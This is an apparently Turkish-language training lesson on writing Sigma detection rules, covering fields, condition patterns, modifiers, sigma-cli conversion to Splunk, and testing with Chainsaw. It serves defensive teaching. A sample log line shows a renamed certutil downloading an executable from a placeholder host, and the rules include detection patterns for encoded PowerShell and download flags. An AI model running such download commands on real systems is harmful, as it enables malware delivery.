İçeriğe atla
0 XP 0
15 dkderinleşmeyle 16 dk60 XP7 etkinlik

Sigma kural anatomisi

Bu derste
  • Sigma kuralının alanlarını, değiştiricilerini ve condition kalıplarını öğrenir, kuralı sigma-cli ile doğrulayıp SIEM sorgusuna çevirirsin.
  • dc01'deki 7045 olayı ve certutil ile dosya indirme üzerinden iki kuralı sıfırdan kurar, alanlarını tek tek çözersin.
  • Kuralın kalbi detection bloğudur; seçimler orada tanımlanır, condition satırı onları birleştirir.

Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +60 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.

Her SIEM kendi sorgu dilini kullanır. Splunk SPL ister, Microsoft Sentinel KQL ister, Elastic ise ES|QL ya da EQL. Aynı tespiti üç ürüne üç kez yazmak hem zaman kaybıdır hem de hataya açıktır.

Sigma bu kargaşayı çözer. Kuralı bir kez YAML biçiminde yazarsın, dönüştürücü onu hedef ürünün diline çevirir.

Kural böylece ürün değişse de yaşar ve başka ekiplerle paylaşılır. Açık kural deposunda binlerce hazır kural durur; çoğu ekip işe oradan başlar. Bu derste önce dosyanın iskeletini, sonra detection bloğunu ve değiştiricileri öğreneceksin. Ardından certutil ile dosya indirmeyi yakalayan bir kuralı baştan sona yazıp sınayacaksın.

Kural dosyasının iskeleti

Kural dosyası dört ana parçadan oluşur. Üst bilgi kuralın kimliğini taşır: başlık, benzersiz kimlik, durum, açıklama, yazar ve tarih. logsource hangi kayda bakılacağını söyler.

detection asıl mantığı kurar. Alt bilgi ise yanlış pozitifleri, önem düzeyini ve etiketleri yazar. Parçalar dosyada hep aynı sırada durur ve sıra rastgele değildir.

Kuralı yukarıdan aşağı okuyan analist önce ne olduğunu, sonra nereye baktığını, sonra nasıl çalıştığını öğrenir. Aşağıdaki kural dc01'de kurulan şüpheli hizmetleri yakalar. Windows yeni bir hizmet kurulunca System kaydına 7045 olayını yazar. Saldırgan da kalıcılık için sık sık kamuya açık bir dizinden çalışan hizmet kurar.

title: Public Dizininden Calisan Yeni Hizmet
id: 3f9c0b21-5d4e-4a77-9f1c-2b8ad5e61c40
status: experimental
description: 7045 ile kurulan ve ikili dosya yolu C:\Users\Public altinda olan hizmetleri yakalar
author: AltaySec
date: 2026-09-14
logsource:
    product: windows
    service: system
detection:
    secim:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|startswith:
            - 'C:\Users\Public\'
            - '"C:\Users\Public\'
    condition: secim
falsepositives:
    - Elle kurulan gecici yardimci araclar
level: high
tags:
    - attack.persistence
    - attack.t1543.003
Çalışan bir Sigma kuralı. secim bir haritadır; içindeki alanlar VE ile birleşir, ImagePath altındaki liste ise VEYA olur.

Kuralı satır satır oku. title insan okunur addır, id ise rastgele üretilmiş bir UUID'dir. status kuralın olgunluğunu, date ilk yazılış gününü verir.

Tarih yalnız YYYY-AA-GG biçiminde yazılır. logsource bloğu product windows ve service system der, yani yalnız System kaydına bakılır. secim içindeki üç koşul VE ile bağlanır: sağlayıcı Service Control Manager olmalı, olay 7045 olmalı, yol da iki değerden biriyle başlamalı.

İkinci değer baştaki tırnak işareti için vardır. Yol boşluk taşıdığında Windows onu tırnakla yazar; tek değerli kural bu kaydı kaçırırdı. 7045 olayında yol ImagePath alanındadır. Güvenlik kaydındaki 4697 olayı aynı bilgiyi ServiceFileName adıyla tutar.

Belirtimde (specification) zorunlu olan yalnız üç alan vardır: title, logsource ve detection. Ötekiler isteğe bağlıdır ama iyi bir kuralda doludur. related kuralı başka kurallara bağlar ve ilişkinin türünü yazar: türetilmiş, eskimiş, birleştirilmiş, yeniden adlandırılmış ya da benzer. name kurala benzersiz bir ad verir; korelasyon kuralları kuralı bu adla çağırır.

references kaynakları, modified son değişiklik gününü, fields analistin görmesi gereken alanları tutar. status beş değer alır. experimental yeni ve gürültülü olabilir, test üretime yakındır, stable üretimde güvenilirdir. deprecated yerini başka kurala bırakmıştır, unsupported ise bugünkü hâliyle kullanılamaz.

level de beş değer alır ve her birinin anlamı bellidir. informational alarm üretmez, olayları etiketleyip zenginleştirir. low ve medium düzenli aralıkla gözden geçirilir. high hızlı bir inceleme ister, critical ise olayın neredeyse kesin olduğunu söyler.

Her kurala high vermek sık yapılan bir hatadır; bir süre sonra hiçbir high gerçekten acil görünmez. tags alanı kuralı ATT&CK gibi çerçevelere bağlar. Etiketler küçük harf ve tireyle yazılır: attack.persistence taktiği, attack.t1543.003 ise Windows hizmeti oluşturma alt tekniğini gösterir. Etiketlerden hangi tekniğe kaç kuralın baktığını da tek tabloda çıkarırsın.

Derinleş:Sigma'nın kısa tarihi

SigmaHQ'nun kural deposu Aralık 2016'da açıldı. Fikir basitti: dosyalar için YARA, ağ trafiği için Snort neyse, kayıt dosyaları için de Sigma o olsun. İlk yıllarda kuralları sigmac adlı araç çeviriyordu. Zamanla her ürün için yeni arka uç eklemek zorlaştı ve ekip pySigma kütüphanesini yazdı.

Bugün sigma-cli bu kütüphanenin komut satırı yüzüdür. sigmac 1 Ağustos 2024'te emekliye ayrıldı ve deposu arşivlendi. Aynı ay belirtimin 2.0.0 sürümü yayımlandı. Bu sürüm tarih biçimini YYYY-AA-GG'ye sabitledi, eğik çizgili tarihi bıraktı.

Etiketlerde alt çizgi ve nokta yerine tireyi getirdi. condition satırına yazılan eski sayma ifadelerini kaldırıp yerine ayrı korelasyon kurallarını koydu. 2025'te gelen 2.1.0 sürümü ise korelasyona toplam, ortalama ve yüzdelik gibi ölçü türlerini ekledi. Eski bir blog yazısındaki kuralı kopyalarken bu farkları hatırla; sigma check çoğunu hemen gösterir.

Etkinlik 1 / 7

Sigma kuralının alanlarını dosyadaki doğru sıraya diz.

Sürükleyip doğru sıraya koy.

Bir öğeye odaklan, yukarı ve aşağı ok tuşlarıyla taşı. Home tuşu en üste, End tuşu en alta alır.

  • 1level: kuralın önem düzeyi
  • 2falsepositives: bilinen yanlış alarm nedenleri
  • 3detection: seçimler ve condition satırı
  • 4title: kuralın insan okunur adı
  • 5logsource: hangi kayıt kaynağına bakılacak

detection bloğu ve condition kalıpları

detection bloğunda iki tür öğe bulunur: seçimler ve condition satırı. Seçim, adını senin verdiğin bir arama kümesidir.

Birleştirme kuralı basittir. Bir haritanın içindeki alanlar birbirine VE ile bağlanır. Aynı alana liste verirsen liste VEYA olur. Seçimin kendisi bir harita listesiyse, listedeki haritalar da VEYA ile bağlanır.

condition satırı seçimleri and, or ve not ile birleştirir, gerekirse parantez kullanır. İşleç önceliği düşükten yükseğe or, and, not, ardından x of kalıbı ve parantez sırasıyla gider. Karışık bir koşulda parantez koymak hem hatayı önler hem de okuyanın işini kolaylaştırır. Seçim adlarını küçük harf ve alt çizgiyle yaz; joker karakterli kalıplar bu adlara dayanır.

# Tek secim
condition: secim

# Secim ve dislama
condition: secim and not filtre

# selection_ ile baslayan secimlerden en az biri
condition: 1 of selection_*

# selection_ ile baslayan secimlerin hepsi ayni olayda
condition: all of selection_*

# SigmaHQ kalibi: hepsi, ama zorunlu ve istege bagli filtreler haric
condition: all of selection_* and not 1 of filter_main_* and not 1 of filter_optional_*
Sık kullanılan condition kalıpları. Yıldız, adı o önekle başlayan bütün seçimleri kapsar.

Kalıplar seçim sayısı arttığında işini kolaylaştırır. 1 of selection_* kalıbı, adı selection_ ile başlayan seçimlerden birinin eşleşmesini yeter sayar. all of selection_* ise hepsinin aynı olayda eşleşmesini ister.

them bütün seçimleri, filtreler dahil, kapsar. SigmaHQ deposunun denetimi all of them kalıbını reddeder; depoda 1 of them da kullanılmaz. Dışlama için SigmaHQ bir adlandırma geleneği kullanır.

filter_main_ ile başlayan filtreler kuralın mantığı için zorunludur ya da varsayılan kurulumda bulunan meşru bir yazılımı dışlar. filter_optional_ ile başlayanlar ise her ortamda bulunmayan yazılımları dışlar. Kuralı kendi ortamına alan ekip, hangi filtreyi kaldırabileceğini böylece adından anlar.

Etkinlik 2 / 7

Aşağıdaki Sigma kuralında hatalı satırı bul.

Zafiyetli satıra tıkla.

Etkinlik 3 / 7

Sigma'da seçimleri and, or ve not ile birleştiren satırın adı: ____

Değiştiriciler ve logsource

Sigma varsayılan olarak değerin tamamını arar ve büyük küçük harfe duyarsızdır. Alan adının yanına dikey çizgiyle eklenen değiştirici (modifier) bu davranışı değiştirir. Değiştiriciler zincirlenebilir: CommandLine|contains|all gibi. Aşağıdaki listede her değiştirici için tek satırlık bir örnek var.

Ne kadar dar değiştirici seçersen kural o kadar az gürültü üretir. Ama çok dar kural da kolay atlatılır. Dengeyi örnek veriye bakarak kurarsın: önce gerçek olayı bul, sonra hangi değiştiricinin onu tuttuğunu dene.

CommandLine|contains: 'urlcache'           # metnin herhangi bir yerinde
Image|endswith: '\certutil.exe'            # sonda
ImagePath|startswith: 'C:\Users\Public\'   # basta
CommandLine|contains|all:                  # listedeki hepsi (VE)
    - ' -enc '
    - 'hidden'
CommandLine|re: '\s-[eE][nN][cC]\s'        # duzenli ifade
CommandLine|contains|windash: '-urlcache'  # tire, egik cizgi ve Unicode tireler
CommandLine|base64offset|contains: 'IEX'   # Base64 icine gomulu metin
DestinationIp|cidr: '10.0.0.0/8'           # alt ag
OriginalFileName|cased: 'CertUtil.exe'     # harf buyuklugune duyarli
ParentUser|exists: true                    # alan var mi
SubjectUserName|fieldref: TargetUserName   # iki alan esit mi
DestinationPort|lt: 1024                   # sayisal karsilastirma
Değiştirici listesi. Her satır tek başına bir seçimin içinde kullanılabilir.

Bazılarının nedenini bilmen gerekir. windash, Windows komutlarının bayrağı hem tireyle hem eğik çizgiyle kabul etmesinden doğar. certutil -urlcache ile certutil /urlcache aynı işi yapar ve saldırgan bu farkı bilir.

windash değeri tire, eğik çizgi ve üç ayrı Unicode tire karakteriyle genişletir. base64offset, bir metnin Base64 içinde nasıl göründüğünü üç farklı hizalamayla üretir. Kodlanmış komuttaki anahtar kelimeyi böyle yakalarsın.

cidr adresin bir alt ağda olup olmadığına bakar. fieldref iki alanı karşılaştırır, exists ise alanın varlığını sınar. Her arka uç her değiştiriciyi çeviremez. Örneğin cased değiştiricisi Splunk sorgusuna çevrilirken hata verir.

logsource bloğu üç alan alır. category davranış türünü söyler. process_creation süreç başlatmayı, network_connection ağ bağlantısını, file_event dosya oluşturmayı anlatır. registry_set kayıt defterine değer yazmayı, ps_script PowerShell betik bloğunu kapsar.

product işletim sistemini ya da ürünü, service belirli bir kayıt akışını daraltır. Genel kategori ürüne bağlı değildir. process_creation Sysmon'da 1 numaralı olaydır, Windows güvenlik kaydında ise 4688. Hangisine çevrileceğine dönüştürücüdeki işlem hattı (processing pipeline) karar verir.

İşlem hattı alan adlarını da değiştirir. Sysmon'daki Image alanı 4688'de NewProcessName olur. Sysmon'daki OriginalFileName alanı ise 4688'de hiç yoktur.

Etkinlik 4 / 7

Her değiştiriciyi yaptığı işle eşleştir.

Soldan bir tane seç, sağdan eşini seç. Kullanılmış bir seçeneği yeniden seçersen yeni öğeye taşınır.

Çözümlü örnek: certutil ile dosya indirme

certutil.exe, sertifika işleri için Windows'la gelen meşru bir araçtır. LOLBAS projesi onu yaşayan ikililer (living off the land binaries) arasında listeler. -urlcache ya da -verifyctl bayrağıyla uzak adresten dosya indirebilir. ATT&CK bu davranışı T1105, yani araç aktarımı (Ingress Tool Transfer) olarak adlandırır.

Saldırgan için cazip bir araçtır, çünkü imzalıdır ve her makinede vardır. Aşağıda muhasebe biriminden bir iş istasyonunun Sysmon kaydı ve onu yakalayan kural var. Dikkat et: saldırgan aracı kopyalayıp adını cu.exe yapmış ve bayrağı eğik çizgiyle yazmış. Yalnız dosya adına dayanan bir kural bu olayı kaçırır.

# Sysmon olay kaydi (EventID 1)
EventID: 1
UtcTime: 2026-09-12 02:14:07.311
Computer: ws-muhasebe-07.sirket.example
Image: C:\Users\Public\cu.exe
OriginalFileName: CertUtil.exe
CommandLine: cu.exe /urlcache /f http://indir.example/g.txt C:\Users\Public\g.exe
ParentImage: C:\Windows\System32\cmd.exe
User: SIRKET\muhasebe07

# Kural: certutil_indirme.yml
title: Certutil ile Dosya Indirme
id: 6b1e0f3a-2c4d-4e8f-9a7b-1d2c3e4f5a6b
status: test
description: certutil ile urlcache ya da verifyctl bayragi kullanarak dosya indiren surecleri yakalar
author: AltaySec
date: 2026-09-28
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_cli:
        CommandLine|contains|windash:
            - '-urlcache'
            - '-verifyctl'
    condition: all of selection_*
falsepositives:
    - Yoneticinin URL onbellegini temizlemesi (certutil -urlcache * delete)
level: medium
tags:
    - attack.command-and-control
    - attack.t1105
Üstte yeniden adlandırılmış certutil ve eğik çizgili bayrak, altta onu yakalayan kural: iki seçim, tek condition.

selection_img bir harita listesidir, bu yüzden iki koşuldan biri yeter. Image alanı yolun sonunda dosya adını arar ve cu.exe'yi kaçırır. OriginalFileName ise dosyanın PE başlığındaki özgün adı okur. Dosya yeniden adlandırılsa da bu değer CertUtil.exe kalır.

selection_cli, windash ile iki bayrağı arar; -urlcache ve /urlcache aynı sonucu verir. condition all of selection_* satırı iki seçimin aynı olayda eşleşmesini ister. Böylece indirme bayrağı taşımayan bir certutil çağrısı, örneğin -dump ile sertifika dökümü, alarm üretmez. Kuralın bilinen yanlış pozitifi de falsepositives alanında yazılı: URL önbelleğini temizleyen yönetici aynı bayrağı kullanır.

$ sigma check certutil_indirme.yml
Parsing Sigma rules
Checking Sigma rules

=== Summary ===
Found 0 errors, 0 condition errors and 0 issues.

$ sigma plugin install splunk
Successfully installed plugin 'splunk'
$ sigma plugin install sysmon
Successfully installed plugin 'sysmon'

$ sigma convert -t splunk -p sysmon certutil_indirme.yml
Parsing Sigma rules
EventID=1 Image="*\\certutil.exe" OR OriginalFileName="CertUtil.exe" CommandLine="*-urlcache*" OR CommandLine="*/urlcache*" OR ...

$ sigma convert -t splunk -p windows-audit -p splunk_windows certutil_indirme.yml
Parsing Sigma rules
source="WinEventLog:Security" EventCode=4688 NewProcessName="*\\certutil.exe" OR OriginalFileName="CertUtil.exe" CommandLine="*-urlcache*" OR ...
sigma-cli ile doğrulama ve iki farklı işlem hattıyla çeviri. Uzun satırlar kısaltıldı.

Çıktıyı satır satır oku. sigma check sıfır hata ve sıfır uyarı bildirir; kural belirtime uyar. Splunk arka ucu ve Sysmon işlem hattı birer eklentidir, önce kurulur. sysmon işlem hattı process_creation kategorisini EventID=1 koşuluna çevirir.

SPL'de OR, boşlukla yazılan örtük VE'den güçlü bağlar, bu yüzden sorgu parantezsiz de doğru çalışır. Arka ucun geliştirme dalı aynı grupları parantezle yazar; anlam değişmez. windash tek değeri beş yazıma açmıştır.

İkinci çeviride işlem hattı değişir. Kategori EventCode=4688 olur, Image alanı NewProcessName'e dönüşür.

OriginalFileName olduğu gibi kalır, ama 4688 kaydında böyle bir alan yoktur. Bu dal hiç eşleşmez ve 4688 kullanan ortamda yeniden adlandırılmış kopya kaçar. Bu kör noktayı kuralın belgesine yaz. KQL çevirisini "Sigma kuralını sorguya çevirmek" dersinde ayrıca işleyeceksin.

Etkinlik 5 / 7

certutil_indirme.yml kuralını Sysmon işlem hattıyla Splunk sorgusuna çevir.

ogrenci@lab

Doğrulama, belge ve bakım

Sözdizimi doğru olan kural henüz çalışan kural değildir. Onu gerçek bir kayıt üzerinde sınaman gerekir. Topluluk bunun için hazır örnek kayıtlar yayımlar.

EVTX-ATTACK-SAMPLES deposu, bilinen tekniklerin ürettiği Windows olay kayıtlarını toplar. OTRF Security-Datasets aynı işi daha geniş veriyle yapar. Chainsaw ya da Hayabusa gibi araçlar bu EVTX dosyalarında Sigma kurallarını doğrudan çalıştırır.

Eşleme dosyası (mapping) Sigma alan adlarını olay kaydındaki alanlara bağlar. Sınamayı iki yönlü yap: kural saldırı kaydında tetiklenmeli, meşru kullanımda susmalı. Tekniği kendi lab ortamında ya da yazılı izinle yeniden üretip kuralın çaldığını görmek, mor takım çalışmasının özüdür.

$ chainsaw hunt ornekler/ -s kurallar/ --mapping mappings/sigma-event-logs-all.yml
[+] Loading detection rules from: kurallar/
[+] Loaded 2 detection rules
[+] Loading event logs from: ornekler (extensions: .evtx)
[+] Loaded 3 EVTX files
[+] Hunting: [========================================] 3/3

[+] Group: Sigma
timestamp            detections                   Event ID  Computer
2026-09-12 02:14:07  Certutil ile Dosya Indirme   1         ws-muhasebe-07.sirket.example
Çıktı sadeleştirildi. Kural, yeniden adlandırılmış kopyayı da yakaladı.

Kural bir koddur, belgesiz kod ise borçtur. Palantir'in yayımladığı Alarm ve Tespit Stratejisi (ADS) çerçevesi her kural için dokuz başlık ister. Bunlar amaç, sınıflandırma, strateji özeti, teknik bağlam, kör noktalar ve varsayımlar, yanlış pozitifler, doğrulama, öncelik ve müdahaledir. Amaç ve strateji özeti description alanına, yanlış pozitifler falsepositives alanına, öncelik level alanına, sınıflandırma tags alanına gider.

Kör noktalar çoğu ekipte yazılmaz, oysa en değerli bölüm odur. certutil kuralının kör noktası açıktır: 4688 kullanan ortamda yeniden adlandırılmış kopya görünmez. Müdahale bölümü de alarmı açan analiste ilk adımı söyler.

description ile ADS belgesi birbirini tamamlar. description kısa kalır ve alarmla birlikte panele düşer; ADS belgesi depoda durur ve bütün gerekçeyi taşır. Birini değiştirdiğinde ötekini de aynı değişiklikte güncelle.

İyi kuralın üç ölçüsü vardır. Dar olmalıdır: yalnız aradığın davranışı yakalar. Dayanıklı olmalıdır: saldırgan dosya adını değiştirince kural ölmez. Açıklanabilir olmalıdır: alarmı gören analist ne yapacağını bilir.

Dayanıklılık için davranışa bak, isme değil. svc.exe adını yakalayan kural bir günde eskir. Kamuya açık dizinden çalışan hizmet kuralı ise yıllarca ayakta kalır.

Kuralları bir depoda topla ve sürüm kontrolüyle yönet. Etiketleri de güncel tut. ATT&CK'in Nisan 2026'da çıkan v19 sürümü Defense Evasion taktiğini ikiye ayırdı: gizlenme Stealth, savunmayı bozma Defense Impairment adını aldı. SigmaHQ deposu da kurallarını attack.stealth ve attack.defense-impairment etiketlerine taşıdı.

Sık hataları bir kez görmek zaman kazandırır. Belirtim, birlikte çalışabilirlik için dört boşluklu girinti ister. Tek bir kayma dosyayı bozar ve ayrıştırıcı "expected <block end>" hatası verir. Windows yolunu çift tırnağa yazarsan ters bölü kaçış karakterine döner, bu yüzden tek tırnak kullan.

Kaynaklar arasında alan adı değişir; çevrilmiş sorguya mutlaka bak. falsepositives satırını da boş bırakma. O satır, alarmı gece üçte açan analiste hangi meşru durumun aynı deseni ürettiğini söyler. Boş bırakılan satır, her vardiyada baştan keşfedilen bir bilgiye döner.

Derinleş:Kuralın sağlamlığını ölçmek: Summiting the Pyramid

MITRE'nin Tehdit Odaklı Savunma Merkezi (Center for Threat-Informed Defense), bir kuralın saldırganın değişikliklerine ne kadar dayandığını ölçmek için Summiting the Pyramid projesini yürütür. Proje, David Bianco'nun 2013'te yazdığı Acı Piramidi (Pyramid of Pain) fikrini kural düzeyine taşır. Analitik sağlamlık beş düzeyde puanlanır.

Birinci düzey geçici değerlerdir; saldırgan bunları kolayca değiştirir. İkinci düzey saldırganın denetimindeki uygulama ayrıntılarıdır. Üçüncü düzey sistemin dayattığı etkileşimlerdir.

Dördüncü düzey az değişen, tekniğin birçok uygulamasında görülen davranışları, beşinci düzey ise tekniğin kaçınılmaz davranışını anlatır. Proje olay kaynağını da puanlar: uygulama, kullanıcı modu ve çekirdek modu. Çekirdek modundaki bir kaynağı atlatmak, uygulama kaydını atlatmaktan zordur.

certutil kuralında Image dalı dosya adına dayandığı için alt düzeyde kalır. Bayrak kalıbı ve özgün ad ise saldırganın işini zorlaştırır.

Etkinlik 6 / 7

Ders başındaki Sigma kuralı için description alanını üç cümlede yaz: ne yakalıyor, neden önemli, önce nereye bakılır?

Etkinlik 7 / 7

Bir Sigma kuralının yıllarca ayakta kalmasını en çok ne belirler?

Bu derste bir hata mı gördün? Bildir